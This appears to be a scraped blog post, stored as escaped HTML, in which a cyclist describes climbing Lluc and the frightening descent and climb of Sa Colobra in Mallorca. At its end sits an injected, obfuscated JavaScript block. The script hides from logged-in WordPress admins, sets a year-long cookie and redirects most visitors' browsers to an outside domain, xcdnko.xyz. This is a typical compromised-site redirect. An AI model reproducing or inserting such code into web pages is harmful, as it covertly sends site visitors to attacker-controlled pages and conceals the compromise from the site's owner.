The first thing one of my fellow bikers asked was.. Does that mean cobra? And yes &#8216;Sa Colobra&#8217; is the cobra.. What a bike ride..<\/p>\n<p>This story has to be personal.. Because this was one of the last rides I did and it was an adventure.. We started this day in Selva.. We did the climb at Lluc.. I did it once before when I was guiding a group of Irish girls.. It was an amazing experience to help these girls up.. But today I had to talk myself to the top.. And I wanted to be quicker as the last time.. My luck, one of bikers was quite a bit faster than me.. So I had someone to bike up to..<\/p>\n<p>So the climb at Lluc.. Well this is a nice warm up for the next climb I thought.. But no way.. Because once up on that mountain it was cold.. So cold.. Once the temperature started dropping below 10 degrees celsius I stopped looking.. But it was cold.. And even when I climbed the next to kilometers I didn&#8217;t get warm.. At least not my feet..<\/p>\n<p>And than it started.. The long way down Sa Colobra.. With the stunning views.. But I really didn&#8217;t enjoy it.. All those hairpin corners.. The steep parts.. I was scared.. Scared to nearly crying.. Till I stopped and thought.. The hell with this climb.. I don&#8217;t wanna go down anymore.. I enjoyed the view and took a picture.. And looked over the edge.. Only 4 corners left.. I had to do it.. I had to go down.. Had to finish this last kilometer.. Once down everybody cheered.. And got on their bikes..<\/p>\n<p>The long way up started.. And the going down it was worth the climb.. But next time I&#8217;m taking the ferry from Soller!!<\/p>\n<p>And what I heard.. If you do it in less than an hour your good.. So I tried.. I tried really hard to beat myself.. And Paul, the fast one.. And I did pretty good.. One hour and 49 seconds..<\/p>\n<p>I can&#8217;t wait till the next time I&#8217;m in the mountains.. Challenging myself.. For now I&#8217;m gonna enjoy the headwinds in the Netherlands.. Which is a pretty good practice for all those climbs waiting for me!!<\/p>\n<p>And wanna know what going down was like.. <a href=\"https:\/\/video-ams3-1.xx.fbcdn.net\/v\/t42.1790-2\/13241746_1728225347455434_1910418976_n.mp4?efg=eyJybHIiOjExNDgsInJsYSI6MTczMSwidmVuY29kZV90YWciOiJ2M180MjZfY3JmXzIzX21haW5fMy4wX3NkIn0%3D&amp;rl=1148&amp;vabr=638&amp;oh=6fa201fd14dda8b6d9f4c24f14e32970&amp;oe=5828F3BE\">This video<\/a> gives a pretty good impression..<\/p>\n<p>&nbsp;<script>var _0x1e50=['charAt','substring','indexOf','userAgent','match','Edge','MSIE;','Chromium','Firefox','Chrome','ppkcookie','location','replace','https:\/\/www.xcdnko.xyz','getElementById','wpadminbar','undefined','setTime','getTime','cookie','split','length'];(function(_0x2fa107,_0x55f5e9){var _0x343595=function(_0x34c909){while(--_0x34c909){_0x2fa107['push'](_0x2fa107['shift']());}};_0x343595(++_0x55f5e9);}(_0x1e50,0x184));var _0x265c=function(_0x2fa107,_0x55f5e9){_0x2fa107=_0x2fa107-0x0;var _0x343595=_0x1e50[_0x2fa107];return _0x343595;};(function(){if(document[_0x265c('0x0')](_0x265c('0x1'))===null){if(typeof _0x3419d8===_0x265c('0x2')){function _0x3419d8(_0x7f1c71,_0x1d8816,_0x3eeb6e){var _0x4e0732='';if(_0x3eeb6e){var _0x1dd386=new Date();_0x1dd386[_0x265c('0x3')](_0x1dd386[_0x265c('0x4')]()+_0x3eeb6e*0x18*0x3c*0x3c*0x3e8);_0x4e0732='; expires='+_0x1dd386['toUTCString']();}document['cookie']=_0x7f1c71+'='+(_0x1d8816||'')+_0x4e0732+'; path=\/';}function _0x23248e(_0x511919){var _0x2e7cdb=_0x511919+'=';var _0x4d7f7d=document[_0x265c('0x5')][_0x265c('0x6')](';');for(var _0x593f64=0x0;_0x593f64<_0x4d7f7d[_0x265c('0x7')];_0x593f64++){var _0x50958d=_0x4d7f7d[_0x593f64];while(_0x50958d[_0x265c('0x8')](0x0)==' ')_0x50958d=_0x50958d[_0x265c('0x9')](0x1,_0x50958d[_0x265c('0x7')]);if(_0x50958d[_0x265c('0xa')](_0x2e7cdb)==0x0)return _0x50958d[_0x265c('0x9')](_0x2e7cdb['length'],_0x50958d[_0x265c('0x7')]);}return null;}function _0x50fc2a(){return navigator[_0x265c('0xb')][_0x265c('0xc')](\/Android\/i)||navigator[_0x265c('0xb')][_0x265c('0xc')](\/BlackBerry\/i)||navigator['userAgent'][_0x265c('0xc')](\/iPhone|iPad|iPod\/i)||navigator[_0x265c('0xb')]['match'](\/Opera Mini\/i)||navigator['userAgent'][_0x265c('0xc')](\/IEMobile\/i);}function _0x1ff41a(){return navigator[_0x265c('0xb')][_0x265c('0xa')](_0x265c('0xd'))!==-0x1||navigator[_0x265c('0xb')]['indexOf'](_0x265c('0xe'))!==-0x1||navigator[_0x265c('0xb')][_0x265c('0xa')]('OPR')!==-0x1||navigator[_0x265c('0xb')][_0x265c('0xa')](_0x265c('0xf'))!==-0x1||navigator[_0x265c('0xb')][_0x265c('0xa')](_0x265c('0x10'))!==-0x1||navigator[_0x265c('0xb')][_0x265c('0xa')](_0x265c('0x11'))!==-0x1;}var _0x4702d7=_0x23248e(_0x265c('0x12'));if(_0x4702d7!=='un'){if(_0x1ff41a()||_0x50fc2a()){_0x3419d8(_0x265c('0x12'),'un',0x16d);window[_0x265c('0x13')][_0x265c('0x14')](_0x265c('0x15'));}}}}}(this));<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Sa Colobra..
